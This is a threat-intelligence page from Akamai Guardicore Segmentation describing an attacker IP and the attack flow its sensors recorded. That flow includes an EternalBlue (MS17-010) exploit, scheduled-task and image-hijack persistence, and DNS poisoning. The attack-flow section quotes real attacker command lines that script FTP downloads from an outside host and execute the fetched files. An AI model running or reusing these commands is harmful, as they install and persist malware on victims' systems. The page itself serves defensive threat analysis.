Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 197.51.236.207Previously Malicious

IP Address: 197.51.236.207Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Scheduled Task Creation CMD Scheduled Task Run SMB Null Session Login PowerShell Service Configuration System File Modification HTTP DNS Poisoning DNS Query Persistency - Image Hijack MS17-010 File Operation By CMD Known Malware IDS - A Network Trojan was detected Download File SMB Download and Execute Access Suspicious Domain Listening Outgoing Connection IDS - Attempted Administrator Privilege Gain

Associated Attack Servers

shell.loader0807.site

77.73.69.34 103.106.250.161

Basic Information

IP Address

197.51.236.207

Domain

-

ISP

TE Data

Country

Egypt

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2019-10-21

Last seen in Akamai Guardicore Segmentation

2021-06-27

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt

IDS - Attempted Administrator Privilege Gain

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

The machine was exploited using the ms17-010 vulnerability

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 103.106.250.161:8161, 104.233.207.172:8172, 139.5.177.32:8032, 77.73.69.34:80 and 77.73.69.34:8034

Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: neachers.com and shell.loader0807.site

DNS Query Access Suspicious Domain Outgoing Connection

The file C:\Windows\Temp\conhoy.exe was downloaded and executed 15 times

Download and Execute

System file C:\windows\Temp\wmia.bat was modified 4 times

System File Modification

System file C:\windows\Temp\u.exe was modified 4 times

System File Modification

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

C:\windows\Temp\wmia.bat was downloaded

Download File

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

C:\windows\Temp\ntuser.dat was downloaded

Download File

System file C:\Windows\Inf\aspnet\lsma12.exe was modified 4 times

System File Modification

The file C:\windows\Temp\u.exe was downloaded and executed

Download and Execute

System file c:\windows\debug\item.dat was modified 4 times

System File Modification

Process c:\windows\inf\aspnet\lsma12.exe started listening on ports: 32832 2 times

Listening

Process c:\windows\temp\u.exe generated outgoing network traffic to: 172.83.155.170:80

Outgoing Connection

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

c:\windows\syswow64\sc.exe set the command line ntsd -d to run using Persistency - Image Hijack 2 times

Persistency - Image Hijack

c:\windows\syswow64\cmd.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

The file c:\windows\debug\item.dat was downloaded and loaded by c:\windows\system32\rundll32.exe

Download and Execute

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\Windows\System32\drivers\etc\hosts was modified

System File Modification

The file C:\Windows\Inf\aspnet\lsma12.exe was downloaded and executed

Download and Execute

Connection was closed due to timeout